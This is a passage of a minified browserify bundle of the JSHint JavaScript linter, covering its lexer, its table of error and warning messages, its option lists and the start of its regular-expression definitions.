this.input.charAt(e||0)},skip:function(e){e=e||1,this.char+=e,this.input=this.input.slice(e)},on:function(e,t){e.split(\" \").forEach(function(e){this.emitter.on(e,t)}.bind(this))},trigger:function(){this.emitter.emit.apply(this.emitter,Array.prototype.slice.call(arguments))},triggerAsync:function(e,t,n,r){n.push(function(){r()&&this.trigger(e,t)}.bind(this))},scanPunctuator:function(){var e=this.peek(),t,n,r;switch(e){case\".\":if(/^[0-9]$/.test(this.peek(1)))return null;if(this.peek(1)===\".\"&&this.peek(2)===\".\")return{type:l.Punctuator,value:\"...\"};case\"(\":case\")\":case\";\":case\",\":case\"[\":case\"]\":case\":\":case\"~\":case\"?\":return{type:l.Punctuator,value:e};case\"{\":return this.pushContext(c.Block),{type:l.Punctuator,value:e};case\"}\":return this.inContext(c.Block)&&this.popContext(),{type:l.Punctuator,value:e};case\"#\":return{type:l.Punctuator,value:e};case\"\":return null}return t=this.peek(1),n=this.peek(2),r=this.peek(3),e===\">\"&&t===\">\"&&n===\">\"&&r===\"=\"?{type:l.Punctuator,value:\">>>=\"}:e===\"=\"&&t===\"=\"&&n===\"=\"?{type:l.Punctuator,value:\"===\"}:e===\"!\"&&t===\"=\"&&n===\"=\"?{type:l.Punctuator,value:\"!==\"}:e===\">\"&&t===\">\"&&n===\">\"?{type:l.Punctuator,value:\">>>\"}:e===\"<\"&&t===\"<\"&&n===\"=\"?{type:l.Punctuator,value:\"<<=\"}:e===\">\"&&t===\">\"&&n===\"=\"?{type:l.Punctuator,value:\">>=\"}:e===\"=\"&&t===\">\"?{type:l.Punctuator,value:e+t}:e===t&&\"+-<>&|\".indexOf(e)>=0?{type:l.Punctuator,value:e+t}:\"<>=!+-*%&|^\".indexOf(e)>=0?t===\"=\"?{type:l.Punctuator,value:e+t}:{type:l.Punctuator,value:e}:e===\"/\"?t===\"=\"?{type:l.Punctuator,value:\"/=\"}:{type:l.Punctuator,value:\"/\"}:null},scanComments:function(){function s(e,t,n){var r=[\"jshint\",\"jslint\",\"members\",\"member\",\"globals\",\"global\",\"exported\"],i=!1,s=e+t,o=\"plain\";return n=n||{},n.isMultiline&&(s+=\"*/\"),t=t.replace(/\\n/g,\" \"),r.forEach(function(n){if(i)return;if(e===\"//\"&&n!==\"jshint\")return;t.charAt(n.length)===\" \"&&t.substr(0,n.length)===n&&(i=!0,e+=n,t=t.substr(n.length)),!i&&t.charAt(0)===\" \"&&t.charAt(n.length+1)===\" \"&&t.substr(1,n.length)===n&&(i=!0,e=e+\" \"+n,t=t.substr(n.length+1));if(!i)return;switch(n){case\"member\":o=\"members\";break;case\"global\":o=\"globals\";break;default:o=n}}),{type:l.Comment,commentType:o,value:s,body:t,isSpecial:i,isMultiline:n.isMultiline||!1,isMalformed:n.isMalformed||!1}}var e=this.peek(),t=this.peek(1),n=this.input.substr(2),r=this.line,i=this.char;if(e===\"*\"&&t===\"/\")return this.trigger(\"error\",{code:\"E018\",line:r,character:i}),this.skip(2),null;if(e!==\"/\"||t!==\"*\"&&t!==\"/\")return null;if(t===\"/\")return this.skip(this.input.length),s(\"//\",n);var o=\"\";if(t===\"*\"){this.inComment=!0,this.skip(2);while(this.peek()!==\"*\"||this.peek(1)!==\"/\")if(this.peek()===\"\"){o+=\"\\n\";if(!this.nextLine())return this.trigger(\"error\",{code:\"E017\",line:r,character:i}),this.inComment=!1,s(\"/*\",o,{isMultiline:!0,isMalformed:!0})}else o+=this.peek(),this.skip();return this.skip(2),this.inComment=!1,s(\"/*\",o,{isMultiline:!0})}},scanKeyword:function(){var e=/^[a-zA-Z_$][a-zA-Z0-9_$]*/.exec(this.input),t=[\"if\",\"in\",\"do\",\"var\",\"for\",\"new\",\"try\",\"let\",\"this\",\"else\",\"case\",\"void\",\"with\",\"enum\",\"while\",\"break\",\"catch\",\"throw\",\"const\",\"yield\",\"class\",\"super\",\"return\",\"typeof\",\"delete\",\"switch\",\"export\",\"import\",\"default\",\"finally\",\"extends\",\"function\",\"continue\",\"debugger\",\"instanceof\"];return e&&t.indexOf(e[0])>=0?{type:l.Keyword,value:e[0]}:null},scanIdentifier:function(){function i(e){return e>256}function s(e){return e>256}function o(e){return/^[0-9a-fA-F]$/.test(e)}function p(e){return e.replace(/\\\\u([0-9a-fA-F]{4})/g,function(e,t){return String.fromCharCode(parseInt(t,16))})}var e=\"\",t=0,n,r,u=function(){t+=1;if(this.peek(t)!==\"u\")return null;var e=this.peek(t+1),n=this.peek(t+2),r=this.peek(t+3),i=this.peek(t+4),u;return o(e)&&o(n)&&o(r)&&o(i)?(u=parseInt(e+n+r+i,16),f[u]||s(u)?(t+=5,\"\\\\u\"+e+n+r+i):null):null}.bind(this),c=function(){var e=this.peek(t),n=e.charCodeAt(0);return n===92?u():n<128?a[n]?(t+=1,e):null:i(n)?(t+=1,e):null}.bind(this),h=function(){var e=this.peek(t),n=e.charCodeAt(0);return n===92?u():n<128?f[n]?(t+=1,e):null:s(n)?(t+=1,e):null}.bind(this);r=c();if(r===null)return null;e=r;for(;;){r=h();if(r===null)break;e+=r}switch(e){case\"true\":case\"false\":n=l.BooleanLiteral;break;case\"null\":n=l.NullLiteral;break;default:n=l.Identifier}return{type:n,value:p(e),text:e,tokenLength:e.length}},scanNumericLiteral:function(){function f(e){return/^[0-9]$/.test(e)}function c(e){return/^[0-7]$/.test(e)}function h(e){return/^[01]$/.test(e)}function p(e){return/^[0-9a-fA-F]$/.test(e)}function d(e){return e===\"$\"||e===\"_\"||e===\"\\\\\"||e>=\"a\"&&e<=\"z\"||e>=\"A\"&&e<=\"Z\"}var e=0,t=\"\",n=this.input.length,r=this.peek(e),i,s=f,u=10,a=!1;if(r!==\".\"&&!f(r))return null;if(r!==\".\"){t=this.peek(e),e+=1,r=this.peek(e);if(t===\"0\"){if(r===\"x\"||r===\"X\")s=p,u=16,e+=1,t+=r;if(r===\"o\"||r===\"O\")s=c,u=8,o.option.esnext||this.trigger(\"warning\",{code:\"W119\",line:this.line,character:this.char,data:[\"Octal integer literal\"]}),e+=1,t+=r;if(r===\"b\"||r===\"B\")s=h,u=2,o.option.esnext||this.trigger(\"warning\",{code:\"W119\",line:this.line,character:this.char,data:[\"Binary integer literal\"]}),e+=1,t+=r;c(r)&&(s=c,u=8,a=!0,i=!1,e+=1,t+=r),!c(r)&&f(r)&&(e+=1,t+=r)}while(e<n){r=this.peek(e);if(a&&f(r))i=!0;else if(!s(r))break;t+=r,e+=1}if(s!==f){if(!a&&t.length<=2)return{type:l.NumericLiteral,value:t,isMalformed:!0};if(e<n){r=this.peek(e);if(d(r))return null}return{type:l.NumericLiteral,value:t,base:u,isLegacy:a,isMalformed:!1}}}if(r===\".\"){t+=r,e+=1;while(e<n){r=this.peek(e);if(!f(r))break;t+=r,e+=1}}if(r===\"e\"||r===\"E\"){t+=r,e+=1,r=this.peek(e);if(r===\"+\"||r===\"-\")t+=this.peek(e),e+=1;r=this.peek(e);if(!f(r))return null;t+=r,e+=1;while(e<n){r=this.peek(e);if(!f(r))break;t+=r,e+=1}}if(e<n){r=this.peek(e);if(d(r))return null}return{type:l.NumericLiteral,value:t,base:u,isMalformed:!isFinite(t)}},scanEscapeSequence:function(e){var t=!1,n=1;this.skip();var r=this.peek();switch(r){case\"'\":this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\'\"]},e,function(){return o.jsonMode});break;case\"b\":r=\"\\\\b\";break;case\"f\":r=\"\\\\f\";break;case\"n\":r=\"\\\\n\";break;case\"r\":r=\"\\\\r\";break;case\"t\":r=\"\\\\t\";break;case\"0\":r=\"\\\\0\";var i=parseInt(this.peek(1),10);this.triggerAsync(\"warning\",{code:\"W115\",line:this.line,character:this.char},e,function(){return i>=0&&i<=7&&o.isStrict()});break;case\"u\":var s=this.input.substr(1,4),u=parseInt(s,16);isNaN(u)&&this.trigger(\"warning\",{code:\"W052\",line:this.line,character:this.char,data:[\"u\"+s]}),r=String.fromCharCode(u),n=5;break;case\"v\":this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\v\"]},e,function(){return o.jsonMode}),r=\"\u000b\";break;case\"x\":var a=parseInt(this.input.substr(1,2),16);this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"\\\\x-\"]},e,function(){return o.jsonMode}),r=String.fromCharCode(a),n=3;break;case\"\\\\\":r=\"\\\\\\\\\";break;case'\"':r='\\\\\"';break;case\"/\":break;case\"\":t=!0,r=\"\"}return{\"char\":r,jump:n,allowNewLine:t}},scanTemplateLiteral:function(e){var t,n=\"\",r,i=this.line,s=this.char,u=this.templateStarts.length;if(!o.option.esnext)return null;if(this.peek()===\"`\")t=l.TemplateHead,this.templateStarts.push({line:this.line,\"char\":this.char}),u=this.templateStarts.length,this.skip(1),this.pushContext(c.Template);else{if(!this.inContext(c.Template)||this.peek()!==\"}\")return null;t=l.TemplateMiddle}while(this.peek()!==\"`\"){while((r=this.peek())===\"\"){n+=\"\\n\";if(!this.nextLine()){var a=this.templateStarts.pop();return this.trigger(\"error\",{code:\"E052\",line:a.line,character:a.char}),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!0,depth:u,context:this.popContext()}}}if(r===\"$\"&&this.peek(1)===\"{\")return n+=\"${\",this.skip(2),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!1,depth:u,context:this.currentContext()};if(r===\"\\\\\"){var f=this.scanEscapeSequence(e);n+=f.char,this.skip(f.jump)}else r!==\"`\"&&(n+=r,this.skip(1))}return t=t===l.TemplateHead?l.NoSubstTemplate:l.TemplateTail,this.skip(1),this.templateStarts.pop(),{type:t,value:n,startLine:i,startChar:s,isUnclosed:!1,depth:u,context:this.popContext()}},scanStringLiteral:function(e){var t=this.peek();if(t!=='\"'&&t!==\"'\")return null;this.triggerAsync(\"warning\",{code:\"W108\",line:this.line,character:this.char},e,function(){return o.jsonMode&&t!=='\"'});var n=\"\",r=this.line,i=this.char,s=!1;this.skip();while(this.peek()!==t)if(this.peek()===\"\"){s?(s=!1,this.triggerAsync(\"warning\",{code:\"W043\",line:this.line,character:this.char},e,function(){return!o.option.multistr}),this.triggerAsync(\"warning\",{code:\"W042\",line:this.line,character:this.char},e,function(){return o.jsonMode&&o.option.multistr})):this.trigger(\"warning\",{code:\"W112\",line:this.line,character:this.char});if(!this.nextLine())return this.trigger(\"error\",{code:\"E029\",line:r,character:i}),{type:l.StringLiteral,value:n,startLine:r,startChar:i,isUnclosed:!0,quote:t}}else{s=!1;var u=this.peek(),a=1;u<\" \"&&this.trigger(\"warning\",{code:\"W113\",line:this.line,character:this.char,data:[\"<non-printable>\"]});if(u===\"\\\\\"){var f=this.scanEscapeSequence(e);u=f.char,a=f.jump,s=f.allowNewLine}n+=u,this.skip(a)}return this.skip(),{type:l.StringLiteral,value:n,startLine:r,startChar:i,isUnclosed:!1,quote:t}},scanRegExp:function(){var e=0,t=this.input.length,n=this.peek(),r=n,i=\"\",s=[],o=!1,u=!1,a,f=function(){n<\" \"&&(o=!0,this.trigger(\"warning\",{code:\"W048\",line:this.line,character:this.char})),n===\"<\"&&(o=!0,this.trigger(\"warning\",{code:\"W049\",line:this.line,character:this.char,data:[n]}))}.bind(this);if(!this.prereg||n!==\"/\")return null;e+=1,a=!1;while(e<t){n=this.peek(e),r+=n,i+=n;if(u){n===\"]\"&&(this.peek(e-1)!==\"\\\\\"||this.peek(e-2)===\"\\\\\")&&(u=!1),n===\"\\\\\"&&(e+=1,n=this.peek(e),i+=n,r+=n,f()),e+=1;continue}if(n===\"\\\\\"){e+=1,n=this.peek(e),i+=n,r+=n,f();if(n===\"/\"){e+=1;continue}if(n===\"[\"){e+=1;continue}}if(n===\"[\"){u=!0,e+=1;continue}if(n===\"/\"){i=i.substr(0,i.length-1),a=!0,e+=1;break}e+=1}if(!a)return this.trigger(\"error\",{code:\"E015\",line:this.line,character:this.from}),void this.trigger(\"fatal\",{line:this.line,from:this.from});while(e<t){n=this.peek(e);if(!/[gim]/.test(n))break;s.push(n),r+=n,e+=1}try{new RegExp(i,s.join(\"\"))}catch(c){o=!0,this.trigger(\"error\",{code:\"E016\",line:this.line,character:this.char,data:[c.message]})}return{type:l.RegExp,value:r,flags:s,isMalformed:o}},scanNonBreakingSpaces:function(){return o.option.nonbsp?this.input.search(/(\\u00A0)/):-1},scanUnsafeChars:function(){return this.input.search(s.unsafeChars)},next:function(e){this.from=this.char;var t;if(/\\s/.test(this.peek())){t=this.char;while(/\\s/.test(this.peek()))this.from+=1,this.skip()}var n=this.scanComments()||this.scanStringLiteral(e)||this.scanTemplateLiteral(e);return n?n:(n=this.scanRegExp()||this.scanPunctuator()||this.scanKeyword()||this.scanIdentifier()||this.scanNumericLiteral(),n?(this.skip(n.tokenLength||n.value.length),n):null)},nextLine:function(){var e;if(this.line>=this.getLines().length)return!1;this.input=this.getLines()[this.line],this.line+=1,this.char=1,this.from=1;var t=this.input.trim(),n=function(){return r.some(arguments,function(e){return t.indexOf(e)===0})},i=function(){return r.some(arguments,function(e){return t.indexOf(e,t.length-e.length)!==-1})};o.ignoreLinterErrors===!0&&!n(\"/*\",\"//\")&&(!this.inComment||!i(\"*/\"))&&(this.input=\"\"),e=this.scanNonBreakingSpaces(),e>=0&&this.trigger(\"warning\",{code:\"W125\",line:this.line,character:e+1}),this.input=this.input.replace(/\\t/g,o.tab),e=this.scanUnsafeChars(),e>=0&&this.trigger(\"warning\",{code:\"W100\",line:this.line,character:e});if(o.option.maxlen&&o.option.maxlen<this.input.length){var u=this.inComment||n.call(t,\"//\")||n.call(t,\"/*\"),a=!u||!s.maxlenException.test(t);a&&this.trigger(\"warning\",{code:\"W101\",line:this.line,character:this.input.length})}return!0},start:function(){this.nextLine()},token:function(){function n(e,t){if(!e.reserved)return!1;var n=e.meta;if(n&&n.isFutureReservedWord&&o.inES5()){if(!n.es5)return!1;if(n.strictOnly&&!o.option.strict&&!o.isStrict())return!1;if(t)return!1}return!0}var e=h(),t,i=function(t,i,s,u){var a;t!==\"(endline)\"&&t!==\"(end)\"&&(this.prereg=!1);if(t===\"(punctuator)\"){switch(i){case\".\":case\")\":case\"~\":case\"#\":case\"]\":case\"++\":case\"--\":this.prereg=!1;break;default:this.prereg=!0}a=Object.create(o.syntax[i]||o.syntax[\"(error)\"])}if(t===\"(identifier)\"){if(i===\"return\"||i===\"case\"||i===\"typeof\")this.prereg=!0;r.has(o.syntax,i)&&(a=Object.create(o.syntax[i]||o.syntax[\"(error)\"]),n(a,s&&t===\"(identifier)\")||(a=null))}return a||(a=Object.create(o.syntax[t])),a.identifier=t===\"(identifier)\",a.type=a.type||t,a.value=i,a.line=this.line,a.character=this.char,a.from=this.from,a.identifier&&u&&(a.raw_text=u.text||u.value),u&&u.startLine&&u.startLine!==this.line&&(a.startLine=u.startLine),u&&u.context&&(a.context=u.context),u&&u.depth&&(a.depth=u.depth),u&&u.isUnclosed&&(a.isUnclosed=u.isUnclosed),s&&a.identifier&&(a.isProperty=s),a.check=e.check,a}.bind(this);for(;;){if(!this.input.length)return this.nextLine()?i(\"(endline)\",\"\"):this.exhausted?null:(this.exhausted=!0,i(\"(end)\",\"\"));t=this.next(e);if(!t){this.input.length&&(this.trigger(\"error\",{code:\"E024\",line:this.line,character:this.char,data:[this.peek()]}),this.input=\"\");continue}switch(t.type){case l.StringLiteral:return this.triggerAsync(\"String\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value,quote:t.quote},e,function(){return!0}),i(\"(string)\",t.value,null,t);case l.TemplateHead:return this.trigger(\"TemplateHead\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template)\",t.value,null,t);case l.TemplateMiddle:return this.trigger(\"TemplateMiddle\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template middle)\",t.value,null,t);case l.TemplateTail:return this.trigger(\"TemplateTail\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(template tail)\",t.value,null,t);case l.NoSubstTemplate:return this.trigger(\"NoSubstTemplate\",{line:this.line,\"char\":this.char,from:this.from,startLine:t.startLine,startChar:t.startChar,value:t.value}),i(\"(no subst template)\",t.value,null,t);case l.Identifier:this.trigger(\"Identifier\",{line:this.line,\"char\":this.char,from:this.form,name:t.value,raw_name:t.text,isProperty:o.tokens.curr.id===\".\"});case l.Keyword:case l.NullLiteral:case l.BooleanLiteral:return i(\"(identifier)\",t.value,o.tokens.curr.id===\".\",t);case l.NumericLiteral:return t.isMalformed&&this.trigger(\"warning\",{code:\"W045\",line:this.line,character:this.char,data:[t.value]}),this.triggerAsync(\"warning\",{code:\"W114\",line:this.line,character:this.char,data:[\"0x-\"]},e,function(){return t.base===16&&o.jsonMode}),this.triggerAsync(\"warning\",{code:\"W115\",line:this.line,character:this.char},e,function(){return o.isStrict()&&t.base===8&&t.isLegacy}),this.trigger(\"Number\",{line:this.line,\"char\":this.char,from:this.from,value:t.value,base:t.base,isMalformed:t.malformed}),i(\"(number)\",t.value);case l.RegExp:return i(\"(regexp)\",t.value);case l.Comment:o.tokens.curr.comment=!0;if(t.isSpecial)return{id:\"(comment)\",value:t.value,body:t.body,type:t.commentType,isSpecial:t.isSpecial,line:this.line,character:this.char,from:this.from};break;case\"\":break;default:return i(\"(punctuator)\",t.value)}}}},n.Lexer=p,n.Context=c},{\"../data/ascii-identifier-data.js\":\"/node_modules/jshint/data/ascii-identifier-data.js\",\"./reg.js\":\"/node_modules/jshint/src/reg.js\",\"./state.js\":\"/node_modules/jshint/src/state.js\",events:\"/node_modules/browserify/node_modules/events/events.js\",underscore:\"/node_modules/jshint/node_modules/underscore/underscore.js\"}],\"/node_modules/jshint/src/messages.js\":[function(e,t,n){\"use strict\";var r=e(\"underscore\"),i={E001:\"Bad option: '{a}'.\",E002:\"Bad option value.\",E003:\"Expected a JSON value.\",E004:\"Input is neither a string nor an array of strings.\",E005:\"Input is empty.\",E006:\"Unexpected early end of program.\",E007:'Missing \"use strict\" statement.',E008:\"Strict violation.\",E009:\"Option 'validthis' can't be used in a global scope.\",E010:\"'with' is not allowed in strict mode.\",E011:\"const '{a}' has already been declared.\",E012:\"const '{a}' is initialized to 'undefined'.\",E013:\"Attempting to override '{a}' which is a constant.\",E014:\"A regular expression literal can be confused with '/='.\",E015:\"Unclosed regular expression.\",E016:\"Invalid regular expression.\",E017:\"Unclosed comment.\",E018:\"Unbegun comment.\",E019:\"Unmatched '{a}'.\",E020:\"Expected '{a}' to match '{b}' from line {c} and instead saw '{d}'.\",E021:\"Expected '{a}' and instead saw '{b}'.\",E022:\"Line breaking error '{a}'.\",E023:\"Missing '{a}'.\",E024:\"Unexpected '{a}'.\",E025:\"Missing ':' on a case clause.\",E026:\"Missing '}' to match '{' from line {a}.\",E027:\"Missing ']' to match '[' from line {a}.\",E028:\"Illegal comma.\",E029:\"Unclosed string.\",E030:\"Expected an identifier and instead saw '{a}'.\",E031:\"Bad assignment.\",E032:\"Expected a small integer or 'false' and instead saw '{a}'.\",E033:\"Expected an operator and instead saw '{a}'.\",E034:\"get/set are ES5 features.\",E035:\"Missing property name.\",E036:\"Expected to see a statement and instead saw a block.\",E037:null,E038:null,E039:\"Function declarations are not invocable. Wrap the whole function invocation in parens.\",E040:\"Each value should have its own case label.\",E041:\"Unrecoverable syntax error.\",E042:\"Stopping.\",E043:\"Too many errors.\",E044:null,E045:\"Invalid for each loop.\",E046:\"A yield statement shall be within a generator function (with syntax: `function*`)\",E047:null,E048:\"{a} declaration not directly within block.\",E049:\"A {a} cannot be named '{b}'.\",E050:\"Mozilla requires the yield expression to be parenthesized here.\",E051:\"Regular parameters cannot come after default parameters.\",E052:\"Unclosed template literal.\",E053:\"Export declaration must be in global scope.\",E054:\"Class properties must be methods. Expected '(' but instead saw '{a}'.\",E055:\"The '{a}' option cannot be set after any executable code.\"},s={W001:\"'hasOwnProperty' is a really bad name.\",W002:\"Value of '{a}' may be overwritten in IE 8 and earlier.\",W003:\"'{a}' was used before it was defined.\",W004:\"'{a}' is already defined.\",W005:\"A dot following a number can be confused with a decimal point.\",W006:\"Confusing minuses.\",W007:\"Confusing plusses.\",W008:\"A leading decimal point can be confused with a dot: '{a}'.\",W009:\"The array literal notation [] is preferable.\",W010:\"The object literal notation {} is preferable.\",W011:null,W012:null,W013:null,W014:\"Bad line breaking before '{a}'.\",W015:null,W016:\"Unexpected use of '{a}'.\",W017:\"Bad operand.\",W018:\"Confusing use of '{a}'.\",W019:\"Use the isNaN function to compare with NaN.\",W020:\"Read only.\",W021:\"'{a}' is a function.\",W022:\"Do not assign to the exception parameter.\",W023:\"Expected an identifier in an assignment and instead saw a function invocation.\",W024:\"Expected an identifier and instead saw '{a}' (a reserved word).\",W025:\"Missing name in function declaration.\",W026:\"Inner functions should be listed at the top of the outer function.\",W027:\"Unreachable '{a}' after '{b}'.\",W028:\"Label '{a}' on {b} statement.\",W030:\"Expected an assignment or function call and instead saw an expression.\",W031:\"Do not use 'new' for side effects.\",W032:\"Unnecessary semicolon.\",W033:\"Missing semicolon.\",W034:'Unnecessary directive \"{a}\".',W035:\"Empty block.\",W036:\"Unexpected /*member '{a}'.\",W037:\"'{a}' is a statement label.\",W038:\"'{a}' used out of scope.\",W039:\"'{a}' is not allowed.\",W040:\"Possible strict violation.\",W041:\"Use '{a}' to compare with '{b}'.\",W042:\"Avoid EOL escaping.\",W043:\"Bad escaping of EOL. Use option multistr if needed.\",W044:\"Bad or unnecessary escaping.\",W045:\"Bad number '{a}'.\",W046:\"Don't use extra leading zeros '{a}'.\",W047:\"A trailing decimal point can be confused with a dot: '{a}'.\",W048:\"Unexpected control character in regular expression.\",W049:\"Unexpected escaped character '{a}' in regular expression.\",W050:\"JavaScript URL.\",W051:\"Variables should not be deleted.\",W052:\"Unexpected '{a}'.\",W053:\"Do not use {a} as a constructor.\",W054:\"The Function constructor is a form of eval.\",W055:\"A constructor name should start with an uppercase letter.\",W056:\"Bad constructor.\",W057:\"Weird construction. Is 'new' necessary?\",W058:\"Missing '()' invoking a constructor.\",W059:\"Avoid arguments.{a}.\",W060:\"document.write can be a form of eval.\",W061:\"eval can be harmful.\",W062:\"Wrap an immediate function invocation in parens to assist the reader in understanding that the expression is the result of a function, and not the function itself.\",W063:\"Math is not a function.\",W064:\"Missing 'new' prefix when invoking a constructor.\",W065:\"Missing radix parameter.\",W066:\"Implied eval. Consider passing a function instead of a string.\",W067:\"Bad invocation.\",W068:\"Wrapping non-IIFE function literals in parens is unnecessary.\",W069:\"['{a}'] is better written in dot notation.\",W070:\"Extra comma. (it breaks older versions of IE)\",W071:\"This function has too many statements. ({a})\",W072:\"This function has too many parameters. ({a})\",W073:\"Blocks are nested too deeply. ({a})\",W074:\"This function's cyclomatic complexity is too high. ({a})\",W075:\"Duplicate {a} '{b}'.\",W076:\"Unexpected parameter '{a}' in get {b} function.\",W077:\"Expected a single parameter in set {a} function.\",W078:\"Setter is defined without getter.\",W079:\"Redefinition of '{a}'.\",W080:\"It's not necessary to initialize '{a}' to 'undefined'.\",W081:null,W082:\"Function declarations should not be placed in blocks. Use a function expression or move the statement to the top of the outer function.\",W083:\"Don't make functions within a loop.\",W084:\"Assignment in conditional expression\",W085:\"Don't use 'with'.\",W086:\"Expected a 'break' statement before '{a}'.\",W087:\"Forgotten 'debugger' statement?\",W088:\"Creating global 'for' variable. Should be 'for (var {a} ...'.\",W089:\"The body of a for in should be wrapped in an if statement to filter unwanted properties from the prototype.\",W090:\"'{a}' is not a statement label.\",W091:\"'{a}' is out of scope.\",W093:\"Did you mean to return a conditional instead of an assignment?\",W094:\"Unexpected comma.\",W095:\"Expected a string and instead saw {a}.\",W096:\"The '{a}' key may produce unexpected results.\",W097:'Use the function form of \"use strict\".',W098:\"'{a}' is defined but never used.\",W099:null,W100:\"This character may get silently deleted by one or more browsers.\",W101:\"Line is too long.\",W102:null,W103:\"The '{a}' property is deprecated.\",W104:\"'{a}' is available in ES6 (use esnext option) or Mozilla JS extensions (use moz).\",W105:\"Unexpected {a} in '{b}'.\",W106:\"Identifier '{a}' is not in camel case.\",W107:\"Script URL.\",W108:\"Strings must use doublequote.\",W109:\"Strings must use singlequote.\",W110:\"Mixed double and single quotes.\",W112:\"Unclosed string.\",W113:\"Control character in string: {a}.\",W114:\"Avoid {a}.\",W115:\"Octal literals are not allowed in strict mode.\",W116:\"Expected '{a}' and instead saw '{b}'.\",W117:\"'{a}' is not defined.\",W118:\"'{a}' is only available in Mozilla JavaScript extensions (use moz option).\",W119:\"'{a}' is only available in ES6 (use esnext option).\",W120:\"You might be leaking a variable ({a}) here.\",W121:\"Extending prototype of native object: '{a}'.\",W122:\"Invalid typeof value '{a}'\",W123:\"'{a}' is already defined in outer scope.\",W124:\"A generator function shall contain a yield statement.\",W125:\"This line contains non-breaking spaces: http://jshint.com/doc/options/#nonbsp\",W126:\"Unnecessary grouping operator.\",W127:\"Unexpected use of a comma operator.\",W128:\"Empty array elements require elision=true.\",W129:\"'{a}' is defined in a future version of JavaScript. Use a different variable name to avoid migration issues.\",W130:\"Invalid element after rest element.\",W131:\"Invalid parameter after rest parameter.\",W132:\"`var` declarations are forbidden. Use `let` or `const` instead.\",W133:\"Invalid for-{a} loop left-hand-side: {b}.\",W134:\"The '{a}' option is only available when linting ECMAScript {b} code.\"},o={I001:\"Comma warnings can be turned off with 'laxcomma'.\",I002:null,I003:\"ES5 option is now set per default\"};n.errors={},n.warnings={},n.info={},r.each(i,function(e,t){n.errors[t]={code:t,desc:e}}),r.each(s,function(e,t){n.warnings[t]={code:t,desc:e}}),r.each(o,function(e,t){n.info[t]={code:t,desc:e}})},{underscore:\"/node_modules/jshint/node_modules/underscore/underscore.js\"}],\"/node_modules/jshint/src/name-stack.js\":[function(e,t,n){\"use strict\";function r(){this._stack=[]}Object.defineProperty(r.prototype,\"length\",{get:function(){return this._stack.length}}),r.prototype.push=function(){this._stack.push(null)},r.prototype.pop=function(){this._stack.pop()},r.prototype.set=function(e){this._stack[this.length-1]=e},r.prototype.infer=function(){var e=this._stack[this.length-1],t=\"\",n;if(!e||e.type===\"class\")e=this._stack[this.length-2];return e?(n=e.type,n!==\"(string)\"&&n!==\"(number)\"&&n!==\"(identifier)\"&&n!==\"default\"?\"(expression)\":(e.accessorType&&(t=e.accessorType+\" \"),t+e.value)):\"(empty)\"},t.exports=r},{}],\"/node_modules/jshint/src/options.js\":[function(e,t,n){\"use strict\";n.bool={enforcing:{bitwise:!0,freeze:!0,camelcase:!0,curly:!0,eqeqeq:!0,futurehostile:!0,notypeof:!0,es3:!0,es5:!0,forin:!0,funcscope:!0,immed:!0,iterator:!0,newcap:!0,noarg:!0,nocomma:!0,noempty:!0,nonbsp:!0,nonew:!0,undef:!0,singleGroups:!1,strict:!0,varstmt:!1,enforceall:!1},relaxing:{asi:!0,multistr:!0,debug:!0,boss:!0,evil:!0,globalstrict:!0,plusplus:!0,proto:!0,scripturl:!0,sub:!0,supernew:!0,laxbreak:!0,laxcomma:!0,validthis:!0,withstmt:!0,moz:!0,noyield:!0,eqnull:!0,lastsemic:!0,loopfunc:!0,expr:!0,esnext:!0,elision:!0},environments:{mootools:!0,couch:!0,jasmine:!0,jquery:!0,node:!0,qunit:!0,rhino:!0,shelljs:!0,prototypejs:!0,yui:!0,mocha:!0,module:!0,wsh:!0,worker:!0,nonstandard:!0,browser:!0,browserify:!0,devel:!0,dojo:!0,typed:!0,phantom:!0},obsolete:{onecase:!0,regexp:!0,regexdash:!0}},n.val={maxlen:!1,indent:!1,maxerr:!1,predef:!1,globals:!1,quotmark:!1,scope:!1,maxstatements:!1,maxdepth:!1,maxparams:!1,maxcomplexity:!1,shadow:!1,unused:!0,latedef:!1,ignore:!1,ignoreDelimiters:!1},n.inverted={bitwise:!0,forin:!0,newcap:!0,plusplus:!0,regexp:!0,undef:!0,eqeqeq:!0,strict:!0},n.validNames=Object.keys(n.val).concat(Object.keys(n.bool.relaxing)).concat(Object.keys(n.bool.enforcing)).concat(Object.keys(n.bool.obsolete)).concat(Object.keys(n.bool.environments)),n.renamed={eqeq:\"eqeqeq\",windows:\"wsh\",sloppy:\"strict\"},n.removed={nomen:!0,onevar:!0,passfail:!0,white:!0,gcl:!0,smarttabs:!0,trailing:!0},n.noenforceall={varstmt:!0,strict:!0}},{}],\"/node_modules/jshint/src/reg.js\":[function(e,t,n){\"use strict\";n.unsafeString=/@cc|<\\/?|script|\\]\\s*\\]|<\\s*!|&lt/i,n.unsafeChars=/[\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/,n.needEsc=/[\\u0000-\\u001f&<\"\\/\\\\\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/,n.needEscGlobal=/[\\u0000-\\u001f&<\"\\/\\\\\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,n.starSlash=/\\*\\//,n.identifier=/^([a-zA-Z_$][a-zA-Z0-9_$]*)$/,n.javascriptURL=/^(?:javascript|jscript|ecmascript|vbscript|livescript)\\s*:/i,n.fallsThrough=/^\\s*\\/\\*\\s*falls?\\sthrough\\s*\\*\\/\\s*$/,n.maxlenException=/^(?:(?:\\/\\/|\\/\\*|\\*) ?)?[^ 